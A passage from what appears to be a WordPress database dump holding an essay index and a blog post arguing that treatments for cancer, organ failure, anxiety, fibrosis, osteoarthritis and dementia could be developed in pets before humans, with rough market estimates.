data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2025-07-03 19:18:00','2025-07-03 19:18:00','',22,'https://trevorklee.com/?p=481',0,'revision','',0),
(482,1,'2025-07-03 19:19:39','2025-07-03 19:19:39','<!-- wp:paragraph -->\n<p>It is way easier and cheaper to develop treatments for diseases in pets than it is to develop treatments for diseases in humans. Because of this, my company is trying to pursue a cat-first development strategy, where we’ll develop treatments for pets first, then transition to humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, this easier, cheaper development path comes with a tradeoff. The animal market is much more immature than the human health market. Revenues per drug are lower; there’s little in the way of basic research, and few animal health companies are willing to invest in any treatments that aren’t commercial stage.&nbsp;<a href=\"https://open.substack.com/pub/trevorklee/p/animal-health-is-still-in-its-infancy?r=3ege4&amp;utm_campaign=post&amp;utm_medium=web&amp;showWelcomeOnShare=true\">I’ve talked about all these issues before</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the most basic mistakes that I see people make when they come into the animal health space is overestimation of market opportunity. I’ve made this mistake myself. It’s an easy mistake to make: you see statistics like 60 million cats in the US, you see a statistic about some disease having a 1% prevalence rate, and then you think about your friend who spent $10k on their cat’s medical treatment. So you multiply 60 million*1%*10,000 and you get $6 billion, forgetting about what percentage of those 60 million cats belong to people who literally don’t have $400 in their bank account (and, of course, no insurance), nevermind $10,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reality of the situation is that the single highest earning drug in animal health of all time makes about a billion a year (a biologic for canine atopic dermatitis), and everything else, currently, makes less than that. Most animal drugs are lucky to crack $50 million a year, especially cat drugs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!v278!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F677f0c3e-6f3b-4bb3-981d-2bed4eb980f0_1230x706.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!v278!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F677f0c3e-6f3b-4bb3-981d-2bed4eb980f0_1230x706.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is a picture of the dog who invented Apoquel and Cytopoint, the canine atopic dermatitis biologics that make $1b+/year. His human hands helped him with the lab work and the Lab work. He is the wealthiest dog alive.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That being said, there are still major, uncracked problems in animal health that could be worth $100+ million/year, and possibly $1+ billion/year. These same uncracked problems are, not coincidentally, $1+ billion/year problems in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consider this my open call for pitches. If you are trying to work on the ideas below (or any other $100+ million/year problem) and are interested in trying to make them work for pets before humans, contact me at trevor [at] highwaypharm.com . I’ll help any way I can.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">1. Affordable cancer treatments</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Lots of pets get cancer, like somewhere around 25% of dogs and 20% of cats. Lots of pets die of cancer, including for me, personally, 2 rats and 3 dogs (all Labrador Retrievers).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cancer in humans has, of course, been a major sink for research dollars and time since Nixon’s War on Cancer, with, to be honest, questionable bang for our buck<a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-1-148496146\">1</a>. But, I think we can say that now, in the year 2024, cancer treatment options for human are pretty good on average, with some cancer treatment options verging on excellent, depending on the type of cancer.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What they aren’t, however, is cheap. Keytruda (pembrolizumab), for example, is an incredible drug for a range of cancers, but it’s about $14k per month. This is not such an issue for humans on insurance, but it’s out of reach for almost all dog or cat owners.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think there’d be a huge opportunity in the pet world for drugs like Keytruda (checkpoint inhibitors) that could be priced at even $1k/month. This would have to be paired with relatively cheap diagnostics, like tumor sequencing, but those are also becoming more common.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Keytruda alone would be a massive market in dogs and cats. About 20-30% of all human cancer can be treated with Keytruda. If we assume that’s also true in dogs and use the National Cancer Institute’s number of 6 million dogs diagnosed with cancer each year, we end up with roughly 6 million dogs diagnosed with cancer each year * 30% = 1.8 million dogs eligible for Keytruda each year. That’s a maximum market size of $1.8 billion per month for dogs alone, or $21.6 billion/year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We’d have to adjust these numbers down because not all pet owners can afford $1k/month and not all dogs would be on Keytruda for a full year (although some would be on Keytruda for more than a year). But, still, adjusting down from $21.6 billion/year gives a lot of room before we’d get below $1 billion/year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Merck, the makers of Keytruda, can’t provide a lower cost version of Keytruda themselves without cannibalizing their human sales. However, anyone who could figure out how to make cancer drugs as effective as Keytruda and offer them cheaply to pets could not only unlock a huge pet market, but also a huge human market as well for the enormous number of people who desperately want cancer treatment but they (or their national healthcare system) can’t afford $100k+year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">2. Affordable organ transplants or synthetic organs&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cats and dogs, like humans, get organs that age. About half of geriatric cats get chronic kidney disease, while up to 75% of dogs can have heart problems. One potential fix for this is to fix the affected kidney or heart. Another potential fix is to replace the affected organ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This should be an easier process than it is in humans. There are, unfortunately, no shortage of dogs and cats that are killed in shelters, put down by vets, or sacrificed for science. So, logically, there are plenty of organs that could be transplanted into a dog or a cat. However, in reality, almost no dogs or cats ever get organ transplants, because the cost of doing so is very expensive, the logistics aren’t there, and veterinarians don’t have the necessary training.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If someone could figure out how to get the cost of a cat kidney transplant down, this would open up a huge market. This probably wouldn’t be a winner-takes-all therapeutic market, though, and would probably be more like a specialized animal health hospital with a big logistics arm, unless there was a key market innovation that allowed for easy transplantation<a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-2-148496146\">2</a>. So, probably not $100m+, there, for any individual company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The winner-takes-all therapeutic market would be in the technically harder thing, cheap synthetic organs. Right now, artificial hearts go for about $1,000,000 all told<a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-3-148496146\">3</a>, and artificial kidneys are still in testing. In order for artificial hearts to be feasible for pet owners, I’d think that would have to come down to like $10k for each, with the idea being that middle class pet owners would be willing to pay that much for a literally life-saving treatment .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Claude claims that the materials for each artificial heart are about $10k, total. But, some major part of that is the bespoke nature of the artificial heart, and the fact that companies can’t save much money by saving on the material cost of the heart. So, let’s say we can get the material cost of artificial hearts down to $5k. Now we have $5k left to pay ourselves and the veterinary surgeons who are going to transplant the heart for us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s earmark $3k for the veterinary surgeons and their staff, or $600/hr for 5 hours. At this rate, we’d have to make sure that transplanting this heart isn’t much more difficult than repairing an ACL on a dog (i.e. requires roughly 6 months of training). I think we’d be able to do so if we also focused on making the artificial heart much easier to transplant than a normal heart. It already would be, naturally, given that artificial hearts don’t suffer tissue death outside the body, but there’s additional room for improvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Take the 10-20% of cats and dogs that die of heart disease each year as your total possible market, and that gives us maybe 1.5 million potential customers at $2k per heart. So, we get roughly $3 billion/year in potential revenue, which, as before, we’d have to modify down, but it sounds pretty good as a starting point.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, again, letting the rest of the world get a cheap artificial heart is a big deal. While the current number of people who are in line for a heart transplant is only in the thousands, some big part of that is how expensive and complicated heart transplants are. Considering that 1,000,000+ people get heart surgery each year, I’d bet there are way more people who would get an artificial heart transplant if it was safe, cheap, and reliable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">3. Predictable, safe, non-invasive behavioral modification for anxiety and reactivity</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Pretty much all dogs and cats are reactive in some way or another. Even my dog, who’s generally very sweet (although incredibly hyper), gets so upset around his nails being cut that he’ll snap at the vet if they try to do it. Some large proportion of dogs or cats are so reactive that they force their owner to change their lifestyle or even put their pet down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The treatments that exist for reactivity and anxiety are entirely drawn directly from people and are about as blunt as you’ve grown to expect from drugs for mental health. In broad terms, there are tranquilizers like trazodone, benzos like Xanax (alprazolam), and SSRIs like Prozac (fluoxetine). None of these drugs are great. They make the dog or cat appear drugged, don’t work in particularly stressful situations, and, in the case of SSRIs, take a while to start working.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What pet owners want is a treatment that consistently and predictably treats anxiety and reactivity without any side effects. So, Rover or Fluffy can still act cute and energetic most of the time, but they don’t attack the mailman/you/the neighbor’s dog on sight.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I understand that, for most people in the neuro field, this is the equivalent of saying, “I want to eat all the ice cream in the world and not get fat”. Like, yes, that is what people with reactive pets want, and that’s also what people with anxiety or panic disorders themselves want, but it’s not going to happen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I think the research that’s being done right now on invasive and non-invasive brain stimulation (i.e putting electrodes inside the brain or using focused ultrasound outside the brain) might be the key to this. Retraining a dog or cat’s brain to see certain situations as nonthreatening by stimulating different parts of their brain could be a relatively rapid, predictable way of modifying behavior.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The barriers to this aren’t trivial. Invasive brain stimulation requires either a human or robot that can perform brain surgery, neither of which exist for vets right now and which would have side effects of its own. Noninvasive brain stimulation, on the other hand, shows more promise, especially transcranial magnetic stimulation and transcranial direct stimulation. Both of these have been used in rats to reduce anxiety.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Right now, though, noninvasive brain stimulation means dealing with a complex, clunky device. It’s hard enough to do it on a human, nevermind an anxious cat or dog. In order for this technology to make it into the mainstream, it has to be as easy to use as a beep collar: snap on, wait for your pet to freak out, and press the button to calm it down. Repeat until your pet no longer reacts to the bad stimulus.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Do this right, and it could be an almost universal treatment for pets. I know a lot of humans who’d want to have this, too. Imagine pressing a button every time you get a panic attack or find yourself stress-procrastinating and - poof! - the anxiety goes away. Pretty good pitch, right?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">4. Reversal of fibrosis and organ aging (kidney, liver, pancreas, glaucoma)</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As mentioned before, all pets have organs that age. One possibility is to replace those organs. This is difficult.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another possibility is to reverse the aging of those organs. This may be easier. Probably the easiest path to doing this is to clear up the fibrosis that occurs with organ aging. Fibrosis, or the buildup of scar tissue, is an inevitable result of aging in any organ. Organs get injured, they get repaired, and the repair process leaves behind a scar. Rinse and repeat enough times, and you get an organ that’s more scar tissue than normal tissue, with the poor performance to match. While fibrosis may not be the sole or even the main cause of aging in an organ, it makes the organ perform worse, as useful space and tissue in the organ is clogged up by scar tissue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are many different organs in dogs and cats that get fibrotic as pets age. In cats, kidneys commonly get fibrotic, while in dogs, the pancreas commonly gets fibrotic<a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-4-148496146\">4</a>. Clearing out that fibrosis would help aging pets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s a pretty long list of antifibrotic drugs, from TGF-beta inhibitors to mTOR inhibitors to antioxidants. Sorting through all of them will probably be a topic for a later blog post, although (spoiler alert) it has a pretty significant intersection with my current work, so I’m going to have to think carefully about what I say.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any company that wants to argue that their specific antifibrotic drug will work in say, glaucoma, will have to argue that theirs is somehow better than everyone else’s, probably through in vivo work in the animal in question. This raises the difficulty level, but it’s still doable. There are animal models for&nbsp;<a href=\"https://journals.lww.com/kidney360/fulltext/2023/10000/animal_models_of_kidney_disease__challenges_and.21.aspx\">inducing kidney injury</a>&nbsp;or&nbsp;<a href=\"https://www.frontiersin.org/journals/physiology/articles/10.3389/fphys.2020.614591/full\">pancreatitis</a>, which are possible (although depressing) to do in dogs or cats. Then, you just need to make the leap from repeated induced&nbsp;kidney or pancreatic injury to chronic kidney disease or pancreatitis, which is a little questionable but might be useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although, personally, I think a better option would be to work on aged animals of certain breeds that naturally develop chronic kidney disease or pancreatitis at high rates. This would require more work and probably a specialized lab, as there are approximately zero labs that have dog breeds other than beagles or really any specialized cat breed. Or it would require close partnership with a group that already works with a lot of those animals, like a specialized animal rescue.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, again, harder difficulty, but the payoff would be twofold: a more realistic animal model of whatever chronic disease you’re looking at, and less moral culpability for inducing a debilitating chronic disease in a helpless animal. All that would be left to do is try out your antifibrotic drug of choice (or a range of antifibrotic drugs) on this model.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be particularly exciting especially because these trials are super difficult to run in humans. They take a long time, you’re dealing with very sick people, and the progression is hard to predict. As a result, pretty much none of these very common chronic diseases have particularly good therapeutics. Getting good results for a therapeutic in, say, chronic kidney disease in animals would be a strong signal that we’d be able to get our first good result in humans for this disease.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">5. Cure for osteoarthritis&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Pretty much all aged humans and animals suffer from osteoarthritis. This isn’t a surprise. Osteoarthritis is really just insufficiently repaired injury to the joints. Your joints are put under constant stress, both by daily living and by one-off traumatic events. In children and young animals, these stresses heal quickly. In old people and old animals, they don’t heal quickly, and sometimes they don’t heal at all.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only actual “cure” for osteoarthritis in people or animals is to replace the joint. This is about $30k per joint in humans, and about $5k per joint in cats or dogs. This is, of course, prohibitively expensive for most people, especially outside of the US. It’s also only really effective for hips, knees, and shoulders. Spinal replacements, especially, have noticeably bad outcomes, but tend to be something people want replaced.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It would be great to get these costs to go down, although there’s always going to be a floor of how low the costs can go, given the time required by highly trained professionals (the cost of the joint replacement itself is only about $1500, even for humans, so way cheaper than an artificial heart) And, even if the costs do go down, like by an invention of a new technique that makes joint replacements quicker, it’s hard to imagine how a single company could capitalize on it themselves. The only exception I could imagine is if there was some way to productize the new technique (e.g. a robot that does joint replacement surgery or an external joint replacement), but that’s outside my realm of expertise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The $1b+ opportunity in animals would be a curative therapeutic option, beyond just anti-inflammatories. Stem cells were supposed to be that option (and are still marketed as such by unscrupulous human and animal health clinics), but have had limited success, to put it generously. As it turns out, if you just randomly put stem cells in an injured joint, the stem cells don’t really know what to do, and don’t automatically turn into productive parts of that joint.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I still think that basic idea of regenerating the joint is what’s necessary to cure osteoarthritis and unlock this therapeutic opportunity. I’m not sure if this will be in the form of providing some sort of scaffolding for stem cells (like artificial cartilage) or maybe somehow retraining the reparative capacity of the joint (like by epigenetic modulation, growth factors, or even bioelectricity). Regardless, there’s a big opportunity there for basically all aged animals, including horses or zoo animals. Osteoarthritis comes for us all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">6. Treatment for dementia</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I probably don’t need to belabor the point that dementia in people is a big deal with no good solutions. Everyone and their mother have an opinion about dementia and why the amyloid hypothesis isn’t working. or at least not well. I also won’t opine on what a better treatment would be, although I have my ideas.<br><br>Instead, I just want to point out that dogs get canine cognitive dysfunction, which is very similar to dementia, and elderly dogs get it at double digit rates. Sedentary dogs also get it really frequently, which means elderly sedentary dogs end up with an incredibly high rate of dementia. This means that any lab that keeps dogs until a natural death is almost guaranteed to have a high percentage of dogs with dementia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, instead of testing out a dementia treatment on a person or a monkey, or, you know, trying to somehow give a mouse Alzheimer’s, any researcher can test a dementia treatment on a comparatively rapidly progressing naturally occurring model of dementia in dogs. If it works, awesome, now you have a dementia treatment for dogs and strong evidence for one in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only caveats are:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. There’s no universally agreed upon test for dementia in dogs, and it’s always hard to tell the difference between a dog who can’t do something and a dog who doesn’t feel like doing something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. People’s complaints about doggy dementia are mostly around them pooping in the house or being reactive. These are related to, but not the same as, being cognitively disabled. So, a successful treatment for dogs would need to consistently fix these types of symptoms, while that’s not true for a successful treatment for humans. In other words, it’s possible to develop a treatment for dogs that’s not good for humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, these are challenges worth fighting through. Given that even getting to humans in dementia is at least $15 million, and getting to an approved drug is probably around $1b, being able to test dementia drugs more cheaply and quickly is worth a lot. It’d be much easier to have an iterative approach with a model population like dogs, where you can see if the treatment works in probably like 6 months in a completely captive population. If it doesn’t, revise and repeat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-anchor-1-148496146\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">I’ve written about cancer’s perverse development incentives before</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-anchor-2-148496146\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In terms of patentable moats, I can imagine some sort of genetic editing of either donor or recipient to make immune rejection less likely. I can also imagine technology that allows for longer preservation of organs from donor to recipient to allow for an easier supply chain. But, that still means you’d need someone to actually do this stuff who could handle the complicated logistics, like maybe one of the veterinary hospital chains.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-anchor-3-148496146\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although I’m also seeing $200k in some places, so I don’t know. Point is that it’s a lot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-list-of-health-problems-that-should#footnote-anchor-4-148496146\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I wanted to start a fight, I’d say that the canine brain also gets fibrotic in the form of amyloid plaques, and this may be a cause of canine cognitive decline a.k.a. doggy Alzheimer’s. But, I’ll save that for a future blog post.&nbsp;</p>\n<!-- /wp:paragraph -->','A list of health problems that should be solved pet first','','publish','closed','closed','','a-list-of-health-problems-that-should-be-solved-pet-first','','','2025-07-03 19:19:39','2025-07-03 19:19:39','',0,'https://trevorklee.com/?page_id=482',0,'page','',0),
(483,1,'2025-07-03 19:19:39','2025-07-03 19:19:39','<!-- wp:paragraph -->\n<p>It is way easier and cheaper to develop treatments for diseases in pets than it is to develop treatments for diseases in humans. Because of this, my company is trying to pursue a cat-first development strategy, where we’ll develop treatments for pets first, then transition to humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, this easier, cheaper development path comes with a tradeoff. The animal market is much more immature than the human health market. Revenues per drug are lower; there’s little in the way of basic research, and few animal health companies are willing to invest in any treatments that aren’t commercial stage.&nbsp;<a href=\"https://open.substack.com/pub/trevorklee/p/animal-health-is-still-in-its-infancy?r=3ege4&amp;utm_campaign=post&amp;utm_medium=web&amp;showWelcomeOnShare=true\">I’ve talked about all these issues before</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the most basic mistakes that I see people make when they come into the animal health space is overestimation of market opportunity. I’ve made this mistake myself. It’s an easy mistake to make: you see statistics like 60 million cats in the US, you see a statistic about some disease having a 1% prevalence rate, and then you think about your friend who spent $10k on their cat’s medical treatment. So you multiply 60 million*1%*10,000 and you get $6 billion, forgetting about what percentage of those 60 million cats belong to people who literally don’t have $400 in their bank account (and, of course, no insurance), nevermind $10,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reality of the situation is that the single highest earning drug in animal health of all time makes about a billion a 